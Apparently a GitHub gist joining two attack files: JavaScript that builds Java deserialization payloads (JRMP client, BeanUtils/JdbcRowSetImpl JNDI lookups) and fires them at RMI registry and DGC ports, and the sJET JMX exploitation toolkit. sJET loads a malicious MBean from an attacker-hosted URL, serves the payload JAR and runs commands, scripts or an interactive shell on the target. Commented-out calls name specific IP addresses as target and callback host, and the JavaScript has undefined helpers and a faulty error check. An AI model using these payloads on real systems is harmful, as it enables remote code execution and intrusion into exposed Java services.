function encode_b64(bytes) {
var output = "";
var chr1, chr2, chr3, enc1, enc2, enc3, enc4;
var i = 0;
while (i < bytes.length) {
chr1 = bytes[i++];
chr2 = bytes[i++];
chr3 = bytes[i++];
enc1 = chr1 >> 2;
enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
enc4 = chr3 & 63;
if (isNaN(chr2)) {
enc3 = enc4 = 64;
} else if (isNaN(chr3)) {
enc4 = 64;
}
output = output + B64_chrs.charAt(enc1) + B64_chrs.charAt(enc2)
+ B64_chrs.charAt(enc3) + B64_chrs.charAt(enc4);
}
return output;
}
function make_jrmp_client_payl(host, port) {
var objIdLow = Math.floor(Math.random() * 4294967295);
var objIdHigh = Math.floor(Math.random() * 4294967295);
return new Object(new ObjectStreamClass(
"sun.rmi.server.UnicastRef", 1922802161, 2643414530, [], {
'writeExternal' : function(out, obj) {
/*
((TCPEndpoint) ep).writeHostPortFormat(out);
out.writeUTF(host);
out.writeInt(port);
id.write(out);
out.writeLong(objNum);
out.writeInt(unique);
out.writeLong(time);
out.writeShort(count);
out.writeBoolean(isResultStream);
*/
out.writeUTF(host); // host
new Integer(port).write(out); // port
new Long(objIdHigh, objIdLow).write(out); // objId
new Integer(0).write(out); // UID - unique
new Long(0, 0).write(out); // UID - time
new Short(0).write(out); // UID - count
new Boolean(false).write(out); // isResultStream
}
}))
}
function make_beanutils_jndi_payl(beanutils_jndi_url) {
var brs = new ObjectStreamClass('javax.sql.rowset.BaseRowSet',
1137778085, 1304605152, [ {
'name' : 'concurrency',
'typeCode' : 'I'
}, {
'name' : 'escapeProcessing',
'typeCode' : 'Z'
}, {
'name' : 'fetchDir',
'typeCode' : 'I'
}, {
'name' : 'fetchSize',
'typeCode' : 'I'
}, {
'name' : 'isolation',
'typeCode' : 'I'
}, {
'name' : 'maxFieldSize',
'typeCode' : 'I'
}, {
'name' : 'maxRows',
'typeCode' : 'I'
}, {
'name' : 'queryTimeout',
'typeCode' : 'I'
}, {
'name' : 'readOnly',
'typeCode' : 'Z'
}, {
'name' : 'rowSetType',
'typeCode' : 'I'
}, {
'name' : 'showDeleted',
'typeCode' : 'Z'
}, {
'name' : 'URL',
'typeString' : 'Ljava/lang/String;'
}, {
'name' : 'asciiStream',
'typeString' : 'Ljava/io/InputStream;'
}, {
'name' : 'binaryStream',
'typeString' : 'Ljava/io/InputStream;'
}, {
'name' : 'charStream',
'typeString' : 'Ljava/io/Reader;'
}, {
'name' : 'command',
'typeString' : 'Ljava/lang/String;'
}, {
'name' : 'dataSource',
'typeString' : 'Ljava/lang/String;'
}, {
'name' : 'listeners',
'typeString' : 'Ljava/util/Vector;'
}, {
'name' : 'map',
'typeString' : 'Ljava/util/Map;'
}, {
'name' : 'params',
'typeString' : 'Ljava/util/Hashtable;'
}, {
'name' : 'unicodeStream',
'typeString' : 'Ljava/io/InputStream;'
}, ], {});
var rs = new ObjectStreamClass('com.sun.rowset.JdbcRowSetImpl',
3458652191, 1232323077, [ {
'name' : 'conn',
'typeString' : 'Ljava/sql/Connection;'
}, {
'name' : 'iMatchColumns',
'typeString' : 'Ljava/util/Vector;'
}, {
'name' : 'ps',
'typeString' : 'Ljava/sql/PreparedStatement;'
}, {
'name' : 'resMD',
'typeString' : 'Ljava/sql/ResultSetMetaData;'
}, {
'name' : 'rowsMD',
'typeString' : 'Ljavax/sql/rowset/RowSetMetaDataImpl;'
}, {
'name' : 'rs',
'typeString' : 'Ljava/sql/ResultSet;'
}, {
'name' : 'strMatchColumns',
'typeString' : 'Ljava/util/Vector;'
}, ], {
'superClass' : brs
});
var bc = new ObjectStreamClass(
"org.apache.commons.beanutils.BeanComparator", 3819014378,
1931650120, [ {
'name' : 'comparator',
'typeString' : 'Ljava/util/Comparator;'
}, {
'name' : 'property',
'typeString' : 'Ljava/lang/String;'
} ], {});
var rc = new ObjectStreamClass(
"java.util.Collections$ReverseComparator", 1678019312,
1397639888, [], {});
var pq = new ObjectStreamClass("java.util.PriorityQueue",
2497327284, 4215243441, [ {
'name' : 'size',
'typeCode' : 'I'
}, {
'name' : 'comparator',
'typeString' : 'Ljava/util/Comparator;'
} ], {
'writeObject' : function(out, obj, desc) {
var elems = obj.values['elements'];
var len = elems ? elems.length : 0;
obj.values['size'] = new Integer(len);
out.defaultWriteObject(obj, desc);
new Integer(len).write(out);
for (var i = 0; i < len; i++) {
out.writeObject(elems[i]);
}
}
});
var rso = new Object(rs, {
'dataSource' : new String(beanutils_jndi_url)
});
return new Object(pq, {
"elements" : [ rso, rso ],
"comparator" : new Object(bc, {
'comparator' : new Object(rc, {}),
'property' : new String('databaseMetaData')
})
});
}
function send(host, port, payl) {
var url = "http://" + host + ":" + port + "/";
if (argv.debug === true) { console && console.log && console.log("Sending payload to " + url); }
oReq.open("POST", url);
var arr = new ArrayBuffer(payl.length);
var byteArray = new Uint8Array(arr);
for (var i = 0; i < payl.length; ++i) {
byteArray[i] = payl[i];
}
const buf3 = Buffer.from(byteArray);
var client = new net.Socket();
client.connect(port, host, function() {
console.log('Connected send TCP');
client.write(buf3);
});
client.on('data', function(data) {
console.log('Received: ' + data);
client.destroy(); // kill client after server's response
});
oReq.send(buf3);
return oReq;
}
function get_radio(name) {
var radios = document.getElementsByName(name);
for (var i = 0, length = radios.length; i < length; i++) {
if (radios[i].checked) {
return radios[i].value;
}
}
}
function make_payload(payl_type,revhost,revport) {
if (payl_type == "jrmp_client") {
var jrmp_client_host = revhost;
var jrmp_client_port = revport;
return make_jrmp_client_payl(jrmp_client_host, jrmp_client_port);
} else if (payl_type == "beanutils_jndi") {
var beanutils_jndi_url = "ldap://" + revhost + ":" + revport + "/obj";
return make_beanutils_jndi_payl(beanutils_jndi_url);
} else {
throw "Invalid payload";
}
}
var encoders = {
'raw' : {
'printable' : false,
'encode' : function(bytes) {
return bytes;
},
'blob' : function(bytes) {
var arr = new Uint8Array(bytes.length);
for (var i = 0; i < bytes.length; i++) {
arr[i] = bytes[i];
}
return new Blob([arr], {
type : 'application/octet-stream'
});
}
},
'hex' : {
'printable' : true,
'encode' : encode_hex,
'blob' : function(data) {
return new Blob([data], {
type : 'text/plain'
});
}
},
'b64' : {
'printable' : true,
'encode' : encode_b64,
'blob' : function(data) {
return new Blob([data], {
type : 'text/plain'
});
}
}
}
function go_generate() {
var payl_type = get_radio("payload");
var payl_enc = get_radio("payload_encoding") || "raw";
console.log("Payload is " + payl_type + " encoding " + payl_enc);
var obj = make_payload(payl_type);
var bytes = encode_object(obj);
var codec = encoders[payl_enc];
var encoded = codec.encode(bytes);
var out = document.getElementById('output');
out.style.display = 'block';
document.getElementById('output_length').textContent = encoded.length;
document.getElementById('output_format').textContent = payl_enc;
if (codec.printable) {
document.getElementById('output_text').style.display = 'block';
document.getElementById('output_text').textContent = encoded;
} else {
document.getElementById('output_text').style.display = 'none';
}
out.blob = codec.blob(encoded);
out.filename = payl_type + "." + payl_enc;
}
// https://stackoverflow.com/a/30832210
function download() {
var out = document.getElementById('output');
var file = out.blob;
var filename = out.filename;
if (window.navigator.msSaveOrOpenBlob) { // IE10+
window.navigator.msSaveOrOpenBlob(file, filename);
} else { // Others
var a = document.createElement("a"), url = URL
.createObjectURL(file);
a.href = url;
a.download = filename;
document.body.appendChild(a);
a.click();
setTimeout(function() {
document.body.removeChild(a);
window.URL.revokeObjectURL(url);
}, 0);
}
}
function go() {
var output = get_radio("output");
if (output == "rmi") {
go_jmx();
} else {
go_generate();
}
}
function cancel() {
var cur = window.current_req;
if (cur) {
cur.abort();
}
}
// payl_type = beanutils_jndi jrmp_client
// rpc_target = registry
function go_jmx_cli(host,port,rpc_target,payl_type,revhost,revport) {
// if (argv.debug === true) {
console.log("Payload is: " + payl_type + "\t"
+ rpc_target + "\t" + revhost + ":" + revport);
// }
args = [ make_jrmp_client_payl(revhost, revport) ];
var payl;
if (rpc_target == "registry") {
payl = encode_registry_lookup(args);
} else if (rpc_target == "dgc") {
payl = encode_dgc_dirty(args);
} else {
throw "Invalid target";
}
return send(host, port, payl);
}
var arraylist = {
NoSuchObjectException: "Object not found",
ClassCastException: "function not executed, mostly serialFilter",
AccessControllertAccessController: "java security filter is active",
lldawdwad: "test",
};
function parseJavaError(str) {
var argv = process.argv;
var textarr = str.split(/\n/);
// var returnval = "ERROR:\t";
// console.log(util.inspect(textarr.length));
for (key in arraylist) {
if(textarr.indexOf(key)) {
return getHostFromHoststr(lastreq) + ":" + getPortFromHoststr(lastreq) + " rmi/jmxrmi\t" + arraylist[key]
}
}
return getHostFromHoststr(lastreq) + ":" + getPortFromHoststr(lastreq) + "\t" + arraylist[key]
// return returnval;
}
function getPortFromHoststr(str) {
var array = str.split(":");
if(array.length == 2) {
return array[1];
}
}
function getHostFromHoststr(str) {
var arr = str.split(":");
return arr[0];
}
oReq.onreadystatechange = function() {
if (this.readyState === 4) {
// if (this.responseText.indexOf("is")) {
// if (argv.debug != 0) { console.log(lastreq + "\t" + this.responseText); }
// }
var text = this.responseText;
var ret = parseJavaError(text);
// if (this.responseText.length > 10) {
// console.log("Complete.\nBody length: " + this.responseText.length);
if ( argv.debug === true ) {
console.log(ret + "\n" + lastreq + "\t" );
}else {
console.log(lastreq + ' ' + this.responseText.substring(12, 64));
}
// }
// process.stdout.write("out: " + this.responseText );
}
};
// console && console.log && console.log("start" + util.inspect(argv));
// lastreq = "registry";
// returnval = go_jmx_cli("195.137.225.97",1100,"registry","jrmp_client","178.162.204.214","28757");
// // await returnval();
// // (async () => {
// // await returnval ;
// // })();
// // while(returnval.readyState != 4 ) {
// // process.stdout.write("hello: " + util.inspect(returnval));
// // // sle
// // }
// go_jmx_cli("195.137.225.97",1100,"registry","jrmp_client","178.162.204.214","28757");
// go_jmx_cli("195.137.225.97",1100,"registry","dgc","178.162.204.214","28757");
// go_jmx_cli("195.137.225.97",1100,"registry","beanutils_jndi","178.162.204.214","28757");
// while(10);
# jmx stuff
from javax.management.remote import JMXServiceURL
from javax.management.remote import JMXConnector
from javax.management.remote import JMXConnectorFactory
from javax.management import ObjectName
from java.lang import String
from java.lang import Object
from java.io import IOException
from javax.net.ssl import TrustManager, X509TrustManager
from javax.net.ssl import SSLContext
from jarray import array
# BaseHTTPServer needed to serve mlets
from BaseHTTPServer import BaseHTTPRequestHandler,HTTPServer
from threading import Thread
import sys
import time
import jarray
# Extra
import argparse
import base64
authorSignature = 'sJET - siberas JMX Exploitation Toolkit\n'
authorSignature += '======================================='
class TrustAllX509TrustManager(X509TrustManager):
def checkClientTrusted(self, chain, auth):
pass
def checkServerTrusted(self,chain,auth):
pass
def getAcceptedIssuers(self):
return None
### AUX ###
def connectToJMX(args):
# Basic JMX connection, always required
trust_managers = array([TrustAllX509TrustManager()], TrustManager)
sc = SSLContext.getInstance("SSL")
sc.init(None, trust_managers, None)
SSLContext.setDefault(sc)
jmx_url = JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + args.targetHost + "/" + args.targetPort + "")
print "[+] Connecting to: " + str(jmx_url)
try:
# for passing credentials for password
#if args.jmxpassword and args.jmxrole:
#print ("[+] Using credentials: " + str(args.jmxrole) + " / " + str(args.jmxpassword))
#credentials = array([args.jmxrole,args.jmxpassword],String)
#environment = {JMXConnector.CREDENTIALS:credentials}
#jmx_connector = JMXConnectorFactory.connect(jmx_url, environment)
#else:
#jmx_connector = JMXConnectorFactory.connect(jmx_url)
jmx_connector = JMXConnectorFactory.connect(jmx_url)
print "[+] Connected: " + str(jmx_connector.getConnectionId())
bean_server = jmx_connector.getMBeanServerConnection()
return bean_server
except IOException:
print "[-] Error: Can't connect to remote service"
sys.exit(-1)
##########
### INSTALL MODE ###
def installMode(args):
# startWebserver(args)
bean_server = connectToJMX(args)
installMBeans(args, bean_server)
def installMBeans(args, bean_server):
# Installation, load javax.management.loading.MLet to install additional MBeans
# If loading fails, the Mlet is already loaded...
try:
mlet_bean = bean_server.createMBean("javax.management.loading.MLet", None)
except:
# MLet Bean can't be created because it already exists
mlet_bean = bean_server.getObjectInstance(ObjectName("DefaultDomain:type=MLet"))
print "[+] Loaded " + str(mlet_bean.getClassName())
# Install payload Mlet via getMbeansFromURL
# pass the URL of the web server
print "[+] Loading malicious MBean from " + args.payload_url
print "[+] Invoking: "+ mlet_bean.getClassName() + ".getMBeansFromURL"
inv_array1 = jarray.zeros(1, Object)
inv_array1[0] = args.payload_url
inv_array2 = jarray.zeros(1, String)
inv_array2[0] = String.canonicalName
resource = bean_server.invoke(mlet_bean.getObjectName(), "getMBeansFromURL", inv_array1, inv_array2)
# Check if the Mlet was loaded successfully
for res in resource:
if res.__class__.__name__ == "InstanceAlreadyExistsException":
print "[+] Object instance already existed, no need to install it a second time"
elif res.__class__.__name__ == "ObjectInstance":
print "[+] Successfully loaded MBean" + str(res.getObjectName())
# Change the password from "I+n33d+a+glass+0f+watta" to the new value
print "[+] Changing default password..."
changePassword("I+n33d+a+glass+0f+watta", args.password, bean_server)
def startWebserver(args):
# Start a web server on all ports in a seperate thread
# Only needed during installation
print "[+] Starting webserver at port " + str(args.payload_port)
mletHandler = MakeHandlerClass(args.payload_url)
mlet_webserver = HTTPServer(('', int(args.payload_port)), mletHandler)
webserver_thread = Thread(target = mlet_webserver.serve_forever)
webserver_thread.daemon = True
try:
webserver_thread.start()
except KeyboardInterrupt:
mlet_webserver.shutdown()
sys.exit(0)
def MakeHandlerClass(base_url):
#This class will handles any incoming request from
#the JMX service
# Needed during installation of the JAR
class CustomHandler(BaseHTTPRequestHandler):
def __init__(self, *args, **kwargs):
self._base_url = base_url
BaseHTTPRequestHandler.__init__(self, *args, **kwargs)
#Handler for the GET requests
def do_GET(self):
if self.path=="/":
mlet_code = '<html><mlet code="de.siberas.lab.SiberasPayload" archive="siberas_mlet.jar" name="Siberas:name=payload,id=1" codebase="' + self._base_url + '"></mlet></html>'
self.send_response(200)
self.send_header('Pragma', 'no-cache')
self.end_headers()
self.wfile.write(mlet_code)
elif self.path=="/siberas_mlet.jar":
f = open("./payloads/siberas_mlet.jar")
self.send_response(200)
self.send_header('Content-type', 'application/jar')
self.end_headers()
self.wfile.write(f.read())
f.close()
else:
self.send_error(404, 'File not found: ' + self.path)
#
# except IOError:
# self.send_error(404,'File Not Found: %s' % self.path)
return CustomHandler
### /INSTALL MODE ###
### UNINSTALL MODE ###
def uninstallMode(args):
bean_server = connectToJMX(args)
uninstallMBeans(bean_server)
def uninstallMBeans(bean_server):
try:
bean_server.unregisterMBean(ObjectName("Siberas:name=payload,id=1"))
except:
print "[-] Error: The MBean is not registered in the target server"
sys.exit(0)
print "[+] MBean correctly uninstalled"
### /UNINSTALL MODE ###
### CHANGE PASSWORD MODE ###
def changePasswordMode(args):
bean_server = connectToJMX(args)
changePassword(args.password, args.newpass, bean_server)
print "[+] Done"
def changePassword(password, newpass, bean_server):
# Payload execution
# Load the Payload Met and invoke a method on it
mlet_bean = bean_server.getObjectInstance(ObjectName("Siberas:name=payload,id=1"))
print "[+] Loaded " + str(mlet_bean.getClassName())
inv_array1 = jarray.zeros(2, Object)
inv_array1[0] = password
inv_array1[1] = newpass
inv_array2 = jarray.zeros(2, String)
inv_array2[0] = String.canonicalName
inv_array2[1] = String.canonicalName
resource = bean_server.invoke(mlet_bean.getObjectName(), "changePassword", inv_array1, inv_array2)
if str(resource) == "True":
print "[+] Successfully changed password"
else:
print "[-] Unable to change password"
sys.stdout.write("\n")
sys.stdout.flush()
### /CHANGE PASSWORD MODE ###
### COMMAND MODE ###
def commandMode(args):
bean_server = connectToJMX(args)
executeCommand(args.password, args.cmd, bean_server)
print "[+] Done"
def executeCommand(password, cmd, bean_server):
# Payload execution
# Load the Payload Met and invoke a method on it
mlet_bean = bean_server.getObjectInstance(ObjectName("Siberas:name=payload,id=1"))
print "[+] Loaded " + str(mlet_bean.getClassName())
print "[+] Executing command: " + cmd
inv_array1 = jarray.zeros(2, Object)
inv_array1[0] = password
inv_array1[1] = cmd
inv_array2 = jarray.zeros(2, String)
inv_array2[0] = String.canonicalName
inv_array2[1] = String.canonicalName
resource = bean_server.invoke(mlet_bean.getObjectName(), "runCMD", inv_array1, inv_array2)
print resource
sys.stdout.write("\n")
sys.stdout.flush()
### /COMMAND MODE ###
### JAVASCRIPT MODE ###
def scriptMode(args):
bean_server = connectToJMX(args)
with open(args.filename, 'r') as myfile:
script=myfile.read()
executeJS(args.password, script, bean_server)
def executeJS(password, js, bean_server):
# Payload execution
# Load the Payload Met and invoke a method on it
mlet_bean = bean_server.getObjectInstance(ObjectName("Siberas:name=payload,id=1"))
print "[+] Loaded " + str(mlet_bean.getClassName())
print "[+] Executing script"
inv_array1 = jarray.zeros(2, Object)
inv_array1[0] = password
inv_array1[1] = js
inv_array2 = jarray.zeros(2, String)
inv_array2[0] = String.canonicalName
inv_array2[1] = String.canonicalName
resource = bean_server.invoke(mlet_bean.getObjectName(), "runJS", inv_array1, inv_array2)
if resource is not None:
print resource
sys.stdout.write("\n")
sys.stdout.flush()
### /JAVASCRIPT MODE ###
### SHELL MODE ###
def shellMode(args):
bean_server = connectToJMX(args)
startShell(args.password, bean_server)
print "[+] Done"
def startShell(password, bean_server):
print "[+] Use command 'exit_shell' to exit the shell"
in_command_loop = True
while in_command_loop:
cmd = raw_input(">>> ")
if cmd == 'exit_shell':
in_command_loop = False
else:
executeCommand(password, cmd, bean_server)
### /SHELL MODE ###
### PARSER ###
# Map for clarity's sake
def arg_install_mode(args):
print authorSignature
installMode(args)
def arg_command_mode(args):
print authorSignature
commandMode(args)
def arg_script_mode(args):
print authorSignature
scriptMode(args)
def arg_shell_mode(args):
print authorSignature
shellMode(args)
def arg_password_mode(args):
print authorSignature
changePasswordMode(args)
def arg_uninstall_mode(args):
print authorSignature
uninstallMode(args)
# Base parser
parser = argparse.ArgumentParser(description = 'sJET allows an easy exploitation of insecure JMX services', epilog='--- sJET - siberas JMX Exploitation Toolkit ------------------', add_help=True)
parser.add_argument('targetHost', help='target IP address')
parser.add_argument('targetPort', help='target JMX service port')
parser.add_argument('password', help="the required password to access the payload methods")
subparsers = parser.add_subparsers(title='modes', description='valid modes', help='use ... MODE -h for help about specific modes')
# Install mode
install_subparser = subparsers.add_parser('install', help='install the payload MBean on the target')
install_subparser.add_argument('payload_url', help='URL to load the payload (full URL)')
install_subparser.add_argument('payload_port', help='port to load the payload')
install_subparser.set_defaults(func=arg_install_mode)
#install_subparser.add_argument('jmxrole', help='remote JMX role' , default='karaf')
#install_subparser.add_argument('jmxpassword', help='remote JMX password')
# Uninstall mode
uninstall_subparser = subparsers.add_parser('uninstall', help='uninstall the payload MBean from the target')
uninstall_subparser.set_defaults(func=arg_uninstall_mode)
# Password mode
install_subparser = subparsers.add_parser('password', help='change the payload password on the target')
install_subparser.add_argument('newpass', help='The new password')
install_subparser.set_defaults(func=arg_password_mode)
# Command mode
command_subparser = subparsers.add_parser('command', help='execute a command in the target')
command_subparser.add_argument('cmd', help='command to be executed')
command_subparser.set_defaults(func=arg_command_mode)
# Javascript mode
script_subparser = subparsers.add_parser('javascript', help='execute JavaScript code from a file in the target')
script_subparser.add_argument('filename', help='file with the JavaScript code to be executed')
script_subparser.set_defaults(func=arg_script_mode)
# Shell mode
shell_subparser = subparsers.add_parser('shell', help='open a simple command shell in the target')
shell_subparser.set_defaults(func=arg_shell_mode)
# Store the user args
args = parser.parse_args()
args.func(args)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment